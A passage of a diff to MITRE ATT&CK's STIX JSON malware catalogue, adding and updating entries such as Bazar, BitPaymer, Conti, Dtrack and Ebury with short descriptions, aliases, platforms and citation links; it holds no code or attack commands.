[Bootkit](https://attack.mitre.org/techniques/T1067) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)", + "description": "[BOOTRASH](https://attack.mitre.org/software/S0114) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that targets Windows operating systems. It has been used by threat actors that target the financial sector.(Citation: Mandiant M Trends 2016)(Citation: FireEye Bootkits)(Citation: FireEye BOOTRASH SANS)", "name": "BOOTRASH", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "malware--da2ef4a9-7cbe-400a-a379-e2f230f28db3", @@ -243612,7 +286465,7 @@ "labels": [ "malware" ], - "modified": "2020-06-29T01:35:30.160Z", + "modified": "2021-02-09T15:15:35.182Z", "created": "2017-05-31T21:33:08.292Z", "x_mitre_contributors": [ "Christopher Glyer, FireEye, @cglyer" @@ -243727,9 +286580,9 @@ "labels": [ "malware" ], - "modified": "2020-03-30T15:06:31.915Z", + "modified": "2021-03-12T17:26:12.324Z", "created": "2019-10-07T19:05:48.886Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "BabyShark" ], @@ -243926,6 +286779,101 @@ ], "x_mitre_version": "1.1" }, + { + "created": "2020-11-18T19:07:48.008Z", + "modified": "2021-04-16T21:43:13.433Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", + "description": "[Bazar](https://attack.mitre.org/software/S0534) is a downloader and backdoor malware in use since at least April 2020, with infections mainly targeting professional services, healthcare, manufacturing, IT, logistics and travel companies across the US and Europe. [Bazar](https://attack.mitre.org/software/S0534) has been reported to have ties to [TrickBot](https://attack.mitre.org/software/S0266) campaigns and can be used to deploy additional malware, including ransomware, and to steal sensitive data.(Citation: Cybereason Bazar July 2020)", + "name": "Bazar", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0534", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0534" + }, + { + "source_name": "KEGTAP", + "description": "(Citation: FireEye KEGTAP SINGLEMALT October 2020)" + }, + { + "source_name": "Team9", + "description": "(Citation: Cybereason Bazar July 2020)(Citation: NCC Group Team9 June 2020)" + }, + { + "source_name": "Cybereason Bazar July 2020", + "url": "https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles", + "description": "Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9\u2019S DEVELOPMENT CYCLES. Retrieved November 18, 2020." + }, + { + "source_name": "FireEye KEGTAP SINGLEMALT October 2020", + "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020." + }, + { + "source_name": "NCC Group Team9 June 2020", + "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", + "description": "Pantazopoulos, N. (2020, June 2). In-depth analysis of the new Team9 malware family. Retrieved December 1, 2020." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Bazar", + "KEGTAP", + "Team9" + ], + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Cybereason Nocturnus, @nocturnus" + ] + }, + { + "id": "malware--805480f1-6caa-4a67-8ca9-b2b39650d986", + "description": "[BendyBear](https://attack.mitre.org/software/S0574) is an x64 shellcode for a stage-zero implant designed to download malware from a C2 server. First discovered in August 2020, [BendyBear](https://attack.mitre.org/software/S0574) shares a variety of features with [Waterbear](https://attack.mitre.org/software/S0579), malware previously attributed to the Chinese cyber espionage group [BlackTech](https://attack.mitre.org/groups/G0098).(Citation: Unit42 BendyBear Feb 2021)", + "name": "BendyBear", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0574", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0574" + }, + { + "source_name": "BendyBear", + "description": "(Citation: Unit42 BendyBear Feb 2021)" + }, + { + "source_name": "Unit42 BendyBear Feb 2021", + "url": "https://unit42.paloaltonetworks.com/bendybear-shellcode-blacktech/", + "description": "Harbison, M. (2021, February 9). BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech. Retrieved February 16, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-21T15:02:21.066Z", + "created": "2021-02-16T16:50:29.990Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "BendyBear" + ], + "x_mitre_version": "1.0" + }, { "id": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -243964,6 +286912,54 @@ ], "x_mitre_version": "1.1" }, + { + "id": "malware--fa766a65-5136-4ff3-8429-36d08eaa0100", + "name": "BitPaymer", + "description": "[BitPaymer](https://attack.mitre.org/software/S0570) is a ransomware variant first observed in August 2017 targeting hospitals in the U.K. [BitPaymer](https://attack.mitre.org/software/S0570) uses a unique encryption key, ransom note, and contact information for each operation. [BitPaymer](https://attack.mitre.org/software/S0570) has several indicators suggesting overlap with the [Dridex](https://attack.mitre.org/software/S0384) malware and is often delivered via [Dridex](https://attack.mitre.org/software/S0384).(Citation: Crowdstrike Indrik November 2018)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0570", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0570" + }, + { + "source_name": "BitPaymer", + "description": "(Citation: Crowdstrike Indrik November 2018)" + }, + { + "source_name": "wp_encrypt", + "description": "(Citation: Crowdstrike Indrik November 2018)" + }, + { + "source_name": "FriedEx", + "description": "(Citation: Crowdstrike Indrik November 2018)" + }, + { + "source_name": "Crowdstrike Indrik November 2018", + "url": "https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/", + "description": "Frankoff, S., Hartley, B. (2018, November 14). Big Game Hunting: The Evolution of INDRIK SPIDER From Dridex Wire Fraud to BitPaymer Targeted Ransomware. Retrieved January 6, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-26T22:04:32.509Z", + "created": "2021-02-08T22:19:19.340Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "BitPaymer", + "wp_encrypt", + "FriedEx" + ], + "x_mitre_version": "1.0" + }, { "id": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -243988,7 +286984,7 @@ "labels": [ "malware" ], - "modified": "2020-06-18T20:43:34.069Z", + "modified": "2021-04-26T15:59:03.034Z", "created": "2017-05-31T21:32:57.807Z", "x_mitre_platforms": [ "Windows" @@ -243997,7 +286993,41 @@ "BlackEnergy", "Black Energy" ], - "x_mitre_version": "1.2" + "x_mitre_version": "1.3" + }, + { + "external_references": [ + { + "external_id": "S0564", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0564" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)", + "name": "BlackMould", + "id": "malware--63c4511b-2d6e-4bb2-b582-e2e99a8a467d", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-03-23T22:18:00.145Z", + "created": "2021-01-14T19:58:17.917Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "BlackMould" + ], + "x_mitre_platforms": [ + "Windows" + ] }, { "id": "malware--4c6d62c2-89f5-4159-8fab-0190b1f9d328", @@ -244087,9 +287117,9 @@ "description": "(Citation: Symantec Briba May 2012)" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "Symantec Briba May 2012", @@ -244100,19 +287130,19 @@ "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "x_mitre_version": "1.0", - "x_mitre_aliases": [ - "Briba" - ], - "x_mitre_platforms": [ - "Windows" - ], "type": "malware", "labels": [ "malware" ], - "modified": "2018-10-17T00:14:20.652Z", - "created": "2018-04-18T17:59:24.739Z" + "modified": "2021-02-09T14:56:14.671Z", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Briba" + ], + "x_mitre_version": "1.0" }, { "external_references": [ @@ -244637,7 +287667,7 @@ { "source_name": "Fox-It Anunak Feb 2015", "description": "Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.", - "url": "https://www.fox-it.com/en/about-fox-it/corporate/news/anunak-aka-carbanak-update/" + "url": "https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/" } ], "object_marking_refs": [ @@ -244647,7 +287677,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T18:46:57.986Z", + "modified": "2021-04-01T16:03:31.574Z", "created": "2017-05-31T21:32:22.213Z", "x_mitre_platforms": [ "Windows" @@ -244735,9 +287765,9 @@ "labels": [ "malware" ], - "modified": "2020-03-28T21:32:10.278Z", + "modified": "2021-04-25T15:46:06.354Z", "created": "2019-01-29T19:36:02.103Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "Carbon" ], @@ -244811,7 +287841,7 @@ "labels": [ "malware" ], - "modified": "2020-03-17T23:40:44.651Z", + "modified": "2021-02-09T14:51:14.620Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_platforms": [ "Windows" @@ -244821,6 +287851,49 @@ ], "x_mitre_version": "1.1" }, + { + "external_references": [ + { + "external_id": "S0572", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0572" + }, + { + "source_name": "Caterpillar WebShell", + "description": "(Citation: ClearSky Lebanese Cedar Jan 2021)(Citation: CheckPoint Volatile Cedar March 2015)" + }, + { + "source_name": "ClearSky Lebanese Cedar Jan 2021", + "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", + "description": "ClearSky Cyber Security. (2021, January). \u201cLebanese Cedar\u201d APT Global Lebanese Espionage Campaign Leveraging Web Servers. Retrieved February 10, 2021." + }, + { + "source_name": "CheckPoint Volatile Cedar March 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2015/03/20082004/volatile-cedar-technical-report.pdf", + "description": "Threat Intelligence and Research. (2015, March 30). VOLATILE CEDAR. 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(Citation: Lee 2013) It has been used by several threat groups. (Citation: Dell TG-3390) (Citation: FireEye Periscope March 2018)", + "description": "[China Chopper](https://attack.mitre.org/software/S0020) is a [Web Shell](https://attack.mitre.org/techniques/T1505/003) hosted on Web servers to provide access back into an enterprise network that does not rely on an infected system calling back to a remote command and control server. (Citation: Lee 2013) It has been used by several threat groups. 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Retrieved May 24, 2017.", + "source_name": "cobaltstrike manual" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) is a commercial, full-featured, remote access tool that bills itself as \u201cadversary simulation software designed to execute targeted attacks and emulate the post-exploitation actions of advanced threat actors\u201d. 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It has been used against major corporations and government agencies, particularly those in North America. As with other ransomware families, actors using [Conti](https://attack.mitre.org/software/S0575) steal sensitive files and information from compromised networks, and threaten to publish this data unless the ransom is paid.(Citation: Cybereason Conti Jan 2021)(Citation: CarbonBlack Conti July 2020)(Citation: Cybleinc Conti January 2020)", + "name": "Conti", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0575", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0575" + }, + { + "source_name": "Conti", + "description": "(Citation: CarbonBlack Conti July 2020)(Citation: Cybereason Conti Jan 2021)" + }, + { + "source_name": "Cybereason Conti Jan 2021", + "url": "https://www.cybereason.com/blog/cybereason-vs.-conti-ransomware", + "description": "Rochberger, L. (2021, January 12). Cybereason vs. Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "CarbonBlack Conti July 2020", + "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/", + "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021." + }, + { + "source_name": "Cybleinc Conti January 2020", + "url": "https://cybleinc.com/2021/01/21/conti-ransomware-resurfaces-targeting-government-large-organizations/", + "description": "Cybleinc. (2021, January 21). Conti Ransomware Resurfaces, Targeting Government & Large Organizations. Retrieved April 13, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-27T02:50:43.404Z", + "created": "2021-02-17T18:51:57.710Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Conti" + ], + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ] + }, { "external_references": [ { @@ -245394,6 +288556,40 @@ ], "x_mitre_version": "1.1" }, + { + "id": "malware--925a6c52-5cf0-4fec-99de-b0d6917d8593", + "name": "Crutch", + "description": "[Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015.(Citation: ESET Crutch December 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0538", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0538" + }, + { + "source_name": "ESET Crutch December 2020", + "url": "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "description": "Faou, M. (2020, December 2). Turla Crutch: Keeping the \u201cback door\u201d open. Retrieved December 4, 2020." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2020-12-22T21:35:01.766Z", + "created": "2020-12-04T20:43:50.481Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Crutch" + ], + "x_mitre_version": "1.0" + }, { "external_references": [ { @@ -245898,6 +289094,44 @@ "macOS" ] }, + { + "created": "2021-04-06T15:53:34.722Z", + "modified": "2021-04-19T17:45:07.102Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f", + "description": "[Doki](https://attack.mitre.org/software/S0600) is a backdoor that uses a unique Dogecoin-based Domain Generation Algorithm and was first observed in July 2020. [Doki](https://attack.mitre.org/software/S0600) was used in conjunction with the [Ngrok](https://attack.mitre.org/software/S0508) Mining Botnet in a campaign that targeted Docker servers in cloud platforms. (Citation: Intezer Doki July 20)", + "name": "Doki", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0600", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0600" + }, + { + "source_name": "Intezer Doki July 20", + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021." + } + ], + "x_mitre_platforms": [ + "Linux", + "Containers" + ], + "x_mitre_aliases": [ + "Doki" + ], + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ] + }, { "id": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -246015,6 +289249,49 @@ "Windows" ] }, + { + "external_references": [ + { + "external_id": "S0547", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0547" + }, + { + "source_name": "DropBook", + "description": "(Citation: Cybereason Molerats Dec 2020)(Citation: BleepingComputer Molerats Dec 2020)" + }, + { + "source_name": "Cybereason Molerats Dec 2020", + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020." + }, + { + "source_name": "BleepingComputer Molerats Dec 2020", + "url": "https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/", + "description": "Ilascu, I. (2020, December 14). Hacking group\u2019s new malware abuses Google and Facebook services. Retrieved December 28, 2020." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DropBook](https://attack.mitre.org/software/S0547) is a Python-based backdoor compiled with PyInstaller.(Citation: Cybereason Molerats Dec 2020)", + "name": "DropBook", + "id": "malware--3ae6097d-d700-46c6-8b21-42fc0bcb48fa", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-19T22:06:49.021Z", + "created": "2020-12-22T18:36:12.214Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "DropBook" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "external_references": [ { @@ -246049,6 +289326,60 @@ "Linux" ] }, + { + "id": "malware--f8774023-8021-4ece-9aca-383ac89d2759", + "name": "Dtrack", + "description": "[Dtrack](https://attack.mitre.org/software/S0567) is spyware that was discovered in 2019 and has been used against Indian financial institutions, research facilities, and the Kudankulam Nuclear Power Plant. [Dtrack](https://attack.mitre.org/software/S0567) shares similarities with the DarkSeoul campaign, which was attributed to [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: Kaspersky Dtrack)(Citation: Securelist Dtrack)(Citation: Dragos WASSONITE)(Citation: CyberBit Dtrack)(Citation: ZDNet Dtrack)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0567", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0567" + }, + { + "source_name": "Kaspersky Dtrack", + "url": "https://usa.kaspersky.com/about/press-releases/2019_dtrack-previously-unknown-spy-tool-hits-financial-institutions-and-research-centers", + "description": "Kaspersky Global Research and Analysis Team. (2019, September 23). DTrack: previously unknown spy-tool by Lazarus hits financial institutions and research centers. Retrieved January 20, 2021." + }, + { + "source_name": "Securelist Dtrack", + "url": "https://securelist.com/my-name-is-dtrack/93338/", + "description": "Konstantin Zykov. (2019, September 23). Hello! My name is Dtrack. Retrieved January 20, 2021." + }, + { + "source_name": "Dragos WASSONITE", + "url": "https://www.dragos.com/threat/wassonite/", + "description": "Dragos. (n.d.). WASSONITE. Retrieved January 20, 2021." + }, + { + "source_name": "CyberBit Dtrack", + "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", + "description": "Hod Gavriel. (2019, November 21). Dtrack: In-depth analysis of APT on a nuclear power plant. Retrieved January 20, 2021." + }, + { + "source_name": "ZDNet Dtrack", + "url": "https://www.zdnet.com/article/confirmed-north-korean-malware-found-on-indian-nuclear-plants-network/", + "description": "Catalin Cimpanu. (2019, October 30). Confirmed: North Korean malware found on Indian nuclear plant's network. Retrieved January 20, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-27T00:05:45.283Z", + "created": "2021-01-25T13:58:24.977Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Dtrack" + ], + "x_mitre_version": "1.0" + }, { "created": "2017-05-31T21:32:31.188Z", "modified": "2020-03-30T02:07:19.052Z", @@ -246084,10 +289415,9 @@ ] }, { - "id": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "DustySky", - "description": "[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "external_id": "S0062", @@ -246096,7 +289426,8 @@ }, { "source_name": "DustySky", - "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016." + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf" }, { "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf", @@ -246109,23 +289440,24 @@ "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "description": "[DustySky](https://attack.mitre.org/software/S0062) is multi-stage malware written in .NET that has been used by [Molerats](https://attack.mitre.org/groups/G0021) since May 2015. (Citation: DustySky) (Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)", + "name": "DustySky", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "malware--687c23e4-4e25-4ee7-a870-c5e002511f54", "type": "malware", "labels": [ "malware" ], - "modified": "2020-05-14T15:14:33.332Z", + "modified": "2021-04-27T19:53:40.705Z", "created": "2017-05-31T21:32:41.750Z", - "x_mitre_platforms": [ - "Windows" - ], + "x_mitre_version": "1.1", "x_mitre_aliases": [ "DustySky", "NeD Worm" ], - "x_mitre_version": "1.1" + "x_mitre_platforms": [ + "Windows" + ] }, { "id": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", @@ -246188,6 +289520,44 @@ ], "x_mitre_version": "1.2" }, + { + "external_references": [ + { + "external_id": "S0593", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0593" + }, + { + "source_name": "ECCENTRICBANDWAGON", + "description": "(Citation: CISA EB Aug 2020)" + }, + { + "source_name": "CISA EB Aug 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a", + "description": "Cybersecurity and Infrastructure Security Agency. (2020, August 26). MAR-10301706-1.v1 - North Korean Remote Access Tool: ECCENTRICBANDWAGON. Retrieved March 18, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a Remote Access Tool (RAT) used by [Lazarus Group](https://attack.mitre.org/groups/G0032) that was first identified in August 2020. It is a reconnaissance tool--with keylogging and screen capture functionality--used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)", + "name": "ECCENTRICBANDWAGON", + "id": "malware--e928333f-f3df-4039-9b8b-556c2add0e42", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-14T15:25:05.979Z", + "created": "2021-03-18T16:15:53.977Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "ECCENTRICBANDWAGON" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, { "id": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -246223,6 +289593,62 @@ "x_mitre_version": "1.1" }, { + "created": "2021-01-28T17:24:48.322Z", + "modified": "2021-04-27T18:17:43.966Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", + "description": "[EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)", + "name": "EVILNUM", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0568", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0568" + }, + { + "source_name": "EVILNUM", + "description": "(Citation: Prevailion EvilNum May 2020)(Citation: ESET EvilNum July 2020)" + }, + { + "source_name": "ESET EvilNum July 2020", + "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/", + "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021." + }, + { + "source_name": "Prevailion EvilNum May 2020", + "url": "https://blog.prevailion.com/2020/05/phantom-in-command-shell5.html", + "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved January 28, 2021." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "EVILNUM" + ], + "x_mitre_version": "1.0" + }, + { + "created": "2019-04-19T16:40:24.922Z", + "modified": "2021-04-23T22:56:14.591Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--d6b3fcd0-1c86-4350-96f0-965ed02fcc51", + "name": "Ebury", + "description": "[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "external_id": "S0377", @@ -246242,30 +289668,74 @@ "source_name": "BleepingComputer Ebury March 2017", "url": "https://www.bleepingcomputer.com/news/security/russian-hacker-pleads-guilty-for-role-in-infamous-linux-ebury-malware/", "description": "Cimpanu, C.. (2017, March 29). Russian Hacker Pleads Guilty for Role in Infamous Linux Ebury Malware. Retrieved April 23, 2019." + }, + { + "source_name": "ESET Ebury Oct 2017", + "url": "https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/", + "description": "Vachon, F. (2017, October 30). Windigo Still not Windigone: An Ebury Update . Retrieved February 10, 2021." } ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_aliases": [ + "Ebury" + ], + "x_mitre_version": "1.3", + "x_mitre_contributors": [ + "Marc-Etienne M.L\u00e9veill\u00e9, ESET" + ] + }, + { + "id": "malware--cc4c1287-9c86-4447-810c-744f3880ec37", + "description": "[Egregor](https://attack.mitre.org/software/S0554) is a Ransomware-as-a-Service (RaaS) tool that was first observed in September 2020. Researchers have noted code similarities between [Egregor](https://attack.mitre.org/software/S0554) and Sekhmet ransomware, as well as [Maze](https://attack.mitre.org/software/S0449) ransomware.(Citation: NHS Digital Egregor Nov 2020)(Citation: Cyble Egregor Oct 2020)(Citation: Security Boulevard Egregor Oct 2020)", + "name": "Egregor", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)", - "name": "Ebury", - "id": 